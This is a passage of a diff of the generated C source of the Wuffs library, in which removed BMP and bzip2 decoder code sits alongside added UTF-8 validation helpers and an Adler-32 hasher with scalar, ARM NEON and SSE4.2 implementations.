self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -- v_i += 1u; -+ wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(ptr, n); -+ if (o.byte_length != n) { -+ break; - } -+ return o; - } -- while (v_i < 256u) { -- self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; -- self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; -- self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; -- self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; -- v_i += 1u; -- } -- -- goto ok; -- ok: -- self->private_impl.p_read_palette[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_read_palette[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_read_palette[0].v_i = v_i; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- return status; -+ return wuffs_base__make_utf_8__next__output( -+ WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); - } - --// -------- func bmp.decoder.process_masks -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__process_masks( -- wuffs_bmp__decoder* self) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_i = 0; -- uint32_t v_mask = 0; -- uint32_t v_n = 0; -- -- while (v_i < 4u) { -- v_mask = self->private_impl.f_channel_masks[v_i]; -- if (v_mask != 0u) { -- v_n = 0u; -- while ((v_mask & 1u) == 0u) { -- v_n += 1u; -- v_mask >>= 1u; -- } -- self->private_impl.f_channel_shifts[v_i] = ((uint8_t)((v_n & 31u))); -- v_n = 0u; -- while ((v_mask & 1u) == 1u) { -- v_n += 1u; -- v_mask >>= 1u; -- } -- if ((v_mask != 0u) || (v_n > 32u)) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -- } -- self->private_impl.f_channel_num_bits[v_i] = ((uint8_t)(v_n)); -- } else if (v_i != 3u) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -+WUFFS_BASE__MAYBE_STATIC size_t // -+wuffs_base__utf_8__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { -+ // TODO: possibly optimize the all-ASCII case (4 or 8 bytes at a time). -+ // -+ // TODO: possibly optimize this by manually inlining the -+ // wuffs_base__utf_8__next calls. -+ size_t original_len = s_len; -+ while (s_len > 0) { -+ wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(s_ptr, s_len); -+ if ((o.code_point > 0x7F) && (o.byte_length == 1)) { -+ break; - } -- v_i += 1u; -+ s_ptr += o.byte_length; -+ s_len -= o.byte_length; - } -+ return original_len - s_len; -+} - -- goto ok; -- ok: -- goto exit; -- exit: -- return status; -+WUFFS_BASE__MAYBE_STATIC size_t // -+wuffs_base__ascii__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { -+ // TODO: possibly optimize this by checking 4 or 8 bytes at a time. -+ const uint8_t* original_ptr = s_ptr; -+ const uint8_t* p = s_ptr; -+ const uint8_t* q = s_ptr + s_len; -+ for (; (p != q) && ((*p & 0x80) == 0); p++) { -+ } -+ return (size_t)(p - original_ptr); - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) -+#endif // !defined(WUFFS_CONFIG__MODULES) || -+ // defined(WUFFS_CONFIG__MODULE__BASE) || -+ // defined(WUFFS_CONFIG__MODULE__BASE__UTF8) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) -+#ifdef __cplusplus -+} // extern "C" -+#endif - --// ---------------- Status Codes Implementations -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) - --const char wuffs_bzip2__error__bad_huffman_code_over_subscribed[] = "#bzip2: bad Huffman code (over-subscribed)"; --const char wuffs_bzip2__error__bad_huffman_code_under_subscribed[] = "#bzip2: bad Huffman code (under-subscribed)"; --const char wuffs_bzip2__error__bad_block_header[] = "#bzip2: bad block header"; --const char wuffs_bzip2__error__bad_block_length[] = "#bzip2: bad block length"; --const char wuffs_bzip2__error__bad_checksum[] = "#bzip2: bad checksum"; --const char wuffs_bzip2__error__bad_header[] = "#bzip2: bad header"; --const char wuffs_bzip2__error__bad_number_of_sections[] = "#bzip2: bad number of sections"; --const char wuffs_bzip2__error__truncated_input[] = "#bzip2: truncated input"; --const char wuffs_bzip2__error__unsupported_block_randomization[] = "#bzip2: unsupported block randomization"; --const char wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state[] = "#bzip2: internal error: inconsistent Huffman decoder state"; -+// ---------------- Status Codes Implementations - - // ---------------- Private Consts - --static const uint8_t --WUFFS_BZIP2__CLAMP_TO_5[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 1, 2, 3, 4, 5, 5, 5, --}; -- --static const uint32_t --WUFFS_BZIP2__REV_CRC32_TABLE[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 79764919, 159529838, 222504665, 319059676, 398814059, 445009330, 507990021, -- 638119352, 583659535, 797628118, 726387553, 890018660, 835552979, 1015980042, 944750013, -- 1276238704, 1221641927, 1167319070, 1095957929, 1595256236, 1540665371, 1452775106, 1381403509, -- 1780037320, 1859660671, 1671105958, 1733955601, 2031960084, 2111593891, 1889500026, 1952343757, -- 2552477408, 2632100695, 2443283854, 2506133561, 2334638140, 2414271883, 2191915858, 2254759653, -- 3190512472, 3135915759, 3081330742, 3009969537, 2905550212, 2850959411, 2762807018, 2691435357, -- 3560074640, 3505614887, 3719321342, 3648080713, 3342211916, 3287746299, 3467911202, 3396681109, -- 4063920168, 4143685023, 4223187782, 4286162673, 3779000052, 3858754371, 3904687514, 3967668269, -- 881225847, 809987520, 1023691545, 969234094, 662832811, 591600412, 771767749, 717299826, -- 311336399, 374308984, 453813921, 533576470, 25881363, 88864420, 134795389, 214552010, -- 2023205639, 2086057648, 1897238633, 1976864222, 1804852699, 1867694188, 1645340341, 1724971778, -- 1587496639, 1516133128, 1461550545, 1406951526, 1302016099, 1230646740, 1142491917, 1087903418, -- 2896545431, 2825181984, 2770861561, 2716262478, 3215044683, 3143675388, 3055782693, 3001194130, -- 2326604591, 2389456536, 2200899649, 2280525302, 2578013683, 2640855108, 2418763421, 2498394922, -- 3769900519, 3832873040, 3912640137, 3992402750, 4088425275, 4151408268, 4197601365, 4277358050, -- 3334271071, 3263032808, 3476998961, 3422541446, 3585640067, 3514407732, 3694837229, 3640369242, -- 1762451694, 1842216281, 1619975040, 1682949687, 2047383090, 2127137669, 1938468188, 2001449195, -- 1325665622, 1271206113, 1183200824, 1111960463, 1543535498, 1489069629, 1434599652, 1363369299, -- 622672798, 568075817, 748617968, 677256519, 907627842, 853037301, 1067152940, 995781531, -- 51762726, 131386257, 177728840, 240578815, 269590778, 349224269, 429104020, 491947555, -- 4046411278, 4126034873, 4172115296, 4234965207, 3794477266, 3874110821, 3953728444, 4016571915, -- 3609705398, 3555108353, 3735388376, 3664026991, 3290680682, 3236090077, 3449943556, 3378572211, -- 3174993278, 3120533705, 3032266256, 2961025959, 2923101090, 2868635157, 2813903052, 2742672763, -- 2604032198, 2683796849, 2461293480, 2524268063, 2284983834, 2364738477, 2175806836, 2238787779, -- 1569362073, 1498123566, 1409854455, 1355396672, 1317987909, 1246755826, 1192025387, 1137557660, -- 2072149281, 2135122070, 1912620623, 1992383480, 1753615357, 1816598090, 1627664531, 1707420964, -- 295390185, 358241886, 404320391, 483945776, 43990325, 106832002, 186451547, 266083308, -- 932423249, 861060070, 1041341759, 986742920, 613929101, 542559546, 756411363, 701822548, -- 3316196985, 3244833742, 3425377559, 3370778784, 3601682597, 3530312978, 3744426955, 3689838204, -- 3819031489, 3881883254, 3928223919, 4007849240, 4037393693, 4100235434, 4180117107, 4259748804, -- 2310601993, 2373574846, 2151335527, 2231098320, 2596047829, 2659030626, 2470359227, 2550115596, -- 2947551409, 2876312838, 2788305887, 2733848168, 3165939309, 3094707162, 3040238851, 2985771188, --}; -- - // ---------------- Private Initializer Prototypes - - // ---------------- Private Function Prototypes - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__do_transform_io( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__prepare_block( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__read_code_lengths( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__build_huffman_tree( -- wuffs_bzip2__decoder* self, -- uint32_t a_which); -- - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_bzip2__decoder__build_huffman_table( -- wuffs_bzip2__decoder* self, -- uint32_t a_which); -+wuffs_adler32__hasher__up( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_bzip2__decoder__invert_bwt( -- wuffs_bzip2__decoder* self); -+wuffs_adler32__hasher__up__choosy_default( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x); - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_bzip2__decoder__flush_fast( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_dst); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__flush_slow( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_dst); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__decode_huffman_fast( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_src); -+wuffs_adler32__hasher__up_arm_neon( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__decode_huffman_slow( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_src); -+static wuffs_base__empty_struct -+wuffs_adler32__hasher__up_x86_sse42( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) - - // ---------------- VTables - --const wuffs_base__io_transformer__func_ptrs --wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+const wuffs_base__hasher_u32__func_ptrs -+wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { -+ (uint32_t(*)(const void*))(&wuffs_adler32__hasher__checksum_u32), - (uint64_t(*)(const void*, -- uint32_t))(&wuffs_bzip2__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_bzip2__decoder__history_retain_length), -+ uint32_t))(&wuffs_adler32__hasher__get_quirk), - (wuffs_base__status(*)(void*, - uint32_t, -- uint64_t))(&wuffs_bzip2__decoder__set_quirk), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__slice_u8))(&wuffs_bzip2__decoder__transform_io), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bzip2__decoder__workbuf_len), -+ uint64_t))(&wuffs_adler32__hasher__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_adler32__hasher__update), -+ (uint32_t(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_adler32__hasher__update_u32), - }; - - // ---------------- Initializer Implementations - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_bzip2__decoder__initialize( -- wuffs_bzip2__decoder* self, -+wuffs_adler32__hasher__initialize( -+ wuffs_adler32__hasher* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options){ -@@ -30559,23 +30841,25 @@ wuffs_bzip2__decoder__initialize( - } - } - -+ self->private_impl.choosy_up = &wuffs_adler32__hasher__up__choosy_default; -+ - self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -- wuffs_base__io_transformer__vtable_name; -- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -- (const void*)(&wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer); -+ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = -+ wuffs_base__hasher_u32__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = -+ (const void*)(&wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32); - return wuffs_base__make_status(NULL); - } - --wuffs_bzip2__decoder* --wuffs_bzip2__decoder__alloc(void) { -- wuffs_bzip2__decoder* x = -- (wuffs_bzip2__decoder*)(calloc(sizeof(wuffs_bzip2__decoder), 1)); -+wuffs_adler32__hasher* -+wuffs_adler32__hasher__alloc(void) { -+ wuffs_adler32__hasher* x = -+ (wuffs_adler32__hasher*)(calloc(1, sizeof(wuffs_adler32__hasher))); - if (!x) { - return NULL; - } -- if (wuffs_bzip2__decoder__initialize( -- x, sizeof(wuffs_bzip2__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ if (wuffs_adler32__hasher__initialize( -+ x, sizeof(wuffs_adler32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { - free(x); - return NULL; - } -@@ -30583,18 +30867,18 @@ wuffs_bzip2__decoder__alloc(void) { - } - - size_t --sizeof__wuffs_bzip2__decoder(void) { -- return sizeof(wuffs_bzip2__decoder); -+sizeof__wuffs_adler32__hasher(void) { -+ return sizeof(wuffs_adler32__hasher); - } - - // ---------------- Function Implementations - --// -------- func bzip2.decoder.get_quirk -+// -------- func adler32.hasher.get_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_bzip2__decoder__get_quirk( -- const wuffs_bzip2__decoder* self, -+wuffs_adler32__hasher__get_quirk( -+ const wuffs_adler32__hasher* self, - uint32_t a_key) { - if (!self) { - return 0; -@@ -30607,12 +30891,12 @@ wuffs_bzip2__decoder__get_quirk( - return 0u; - } - --// -------- func bzip2.decoder.set_quirk -+// -------- func adler32.hasher.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_bzip2__decoder__set_quirk( -- wuffs_bzip2__decoder* self, -+wuffs_adler32__hasher__set_quirk( -+ wuffs_adler32__hasher* self, - uint32_t a_key, - uint64_t a_value) { - if (!self) { -@@ -30625,369 +30909,699 @@ wuffs_bzip2__decoder__set_quirk( - : wuffs_base__error__initialize_not_called); - } - -- if (a_key == 1u) { -- self->private_impl.f_ignore_checksum = (a_value > 0u); -- return wuffs_base__make_status(NULL); -- } - return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func bzip2.decoder.history_retain_length -+// -------- func adler32.hasher.update - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_bzip2__decoder__history_retain_length( -- const wuffs_bzip2__decoder* self) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_adler32__hasher__update( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x) { - if (!self) { -- return 0; -+ return wuffs_base__make_empty_struct(); - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); - } - -- return 0u; -+ if ( ! self->private_impl.f_started) { -+ self->private_impl.f_started = true; -+ self->private_impl.f_state = 1u; -+ self->private_impl.choosy_up = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_adler32__hasher__up_arm_neon : -+#endif -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_adler32__hasher__up_x86_sse42 : -+#endif -+ self->private_impl.choosy_up); -+ } -+ wuffs_adler32__hasher__up(self, a_x); -+ return wuffs_base__make_empty_struct(); - } - --// -------- func bzip2.decoder.workbuf_len -+// -------- func adler32.hasher.update_u32 - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_bzip2__decoder__workbuf_len( -- const wuffs_bzip2__decoder* self) { -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_adler32__hasher__update_u32( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x) { - if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ return 0; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return 0; - } - -- return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+ wuffs_adler32__hasher__update(self, a_x); -+ return self->private_impl.f_state; - } - --// -------- func bzip2.decoder.transform_io -+// -------- func adler32.hasher.up - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_bzip2__decoder__transform_io( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+static wuffs_base__empty_struct -+wuffs_adler32__hasher__up( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ return (*self->private_impl.choosy_up)(self, a_x); -+} - -- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_adler32__hasher__up__choosy_default( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint32_t v_s1 = 0; -+ uint32_t v_s2 = 0; -+ wuffs_base__slice_u8 v_remaining = {0}; -+ wuffs_base__slice_u8 v_p = {0}; - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_bzip2__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -- v_status = t_0; -+ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); -+ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); -+ while (((uint64_t)(a_x.len)) > 0u) { -+ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); -+ if (((uint64_t)(a_x.len)) > 5552u) { -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5552u); -+ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5552u); -+ } -+ { -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 1; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); -+ while (v_p.ptr < i_end0_p) { -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; - } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_bzip2__error__truncated_input); -- goto exit; -+ v_p.len = 1; -+ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end1_p) { -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; - } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ v_p.len = 0; - } -- -- ok: -- self->private_impl.p_transform_io[0] = 0; -- goto exit; -+ v_s1 %= 65521u; -+ v_s2 %= 65521u; -+ a_x = v_remaining; - } -+ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); -+ return wuffs_base__make_empty_struct(); -+} - -- goto suspend; -- suspend: -- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+// -------- func adler32.hasher.checksum_u32 - -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_adler32__hasher__checksum_u32( -+ const wuffs_adler32__hasher* self) { -+ if (!self) { -+ return 0; - } -- return status; -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return self->private_impl.f_state; - } - --// -------- func bzip2.decoder.do_transform_io -+// ‼ WUFFS MULTI-FILE SECTION +arm_neon -+// -------- func adler32.hasher.up_arm_neon - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__do_transform_io( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_c = 0; -- uint32_t v_i = 0; -- uint64_t v_tag = 0; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- uint32_t v_final_checksum_want = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+static wuffs_base__empty_struct -+wuffs_adler32__hasher__up_arm_neon( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint32_t v_s1 = 0; -+ uint32_t v_s2 = 0; -+ wuffs_base__slice_u8 v_remaining = {0}; -+ wuffs_base__slice_u8 v_p = {0}; -+ uint8x16_t v_p__left = {0}; -+ uint8x16_t v_p_right = {0}; -+ uint32x4_t v_v1 = {0}; -+ uint32x4_t v_v2 = {0}; -+ uint16x8_t v_col0 = {0}; -+ uint16x8_t v_col1 = {0}; -+ uint16x8_t v_col2 = {0}; -+ uint16x8_t v_col3 = {0}; -+ uint32x2_t v_sum1 = {0}; -+ uint32x2_t v_sum2 = {0}; -+ uint32x2_t v_sum12 = {0}; -+ uint32_t v_num_iterate_bytes = 0; -+ uint64_t v_tail_index = 0; - -- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; -- if (coro_susp_point) { -- v_i = self->private_data.s_do_transform_io[0].v_i; -- v_tag = self->private_data.s_do_transform_io[0].v_tag; -- v_final_checksum_want = self->private_data.s_do_transform_io[0].v_final_checksum_want; -+ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); -+ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); -+ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { -+ v_s1 += ((uint32_t)(a_x.ptr[0u])); -+ v_s2 += v_s1; -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); - } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if (v_c != 66u) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); -- goto exit; -+ v_s1 %= 65521u; -+ v_s2 %= 65521u; -+ while (((uint64_t)(a_x.len)) > 0u) { -+ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); -+ if (((uint64_t)(a_x.len)) > 5536u) { -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); -+ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); - } -+ v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); -+ v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); -+ v_v1 = vdupq_n_u32(0u); -+ v_v2 = vdupq_n_u32(0u); -+ v_col0 = vdupq_n_u16(0u); -+ v_col1 = vdupq_n_u16(0u); -+ v_col2 = vdupq_n_u16(0u); -+ v_col3 = vdupq_n_u16(0u); - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 32; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); -+ while (v_p.ptr < i_end0_p) { -+ v_p__left = vld1q_u8(v_p.ptr); -+ v_p_right = vld1q_u8(v_p.ptr + 16u); -+ v_v2 = vaddq_u32(v_v2, v_v1); -+ v_v1 = vpadalq_u16(v_v1, vpadalq_u8(vpaddlq_u8(v_p__left), v_p_right)); -+ v_col0 = vaddw_u8(v_col0, vget_low_u8(v_p__left)); -+ v_col1 = vaddw_u8(v_col1, vget_high_u8(v_p__left)); -+ v_col2 = vaddw_u8(v_col2, vget_low_u8(v_p_right)); -+ v_col3 = vaddw_u8(v_col3, vget_high_u8(v_p_right)); -+ v_p.ptr += 32; - } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -- } -- if (v_c != 90u) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); -- goto exit; -+ v_p.len = 0; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ v_v2 = vshlq_n_u32(v_v2, 5u); -+ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col0), ((uint16x4_t){32u, 31u, 30u, 29u})); -+ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col0), ((uint16x4_t){28u, 27u, 26u, 25u})); -+ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col1), ((uint16x4_t){24u, 23u, 22u, 21u})); -+ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col1), ((uint16x4_t){20u, 19u, 18u, 17u})); 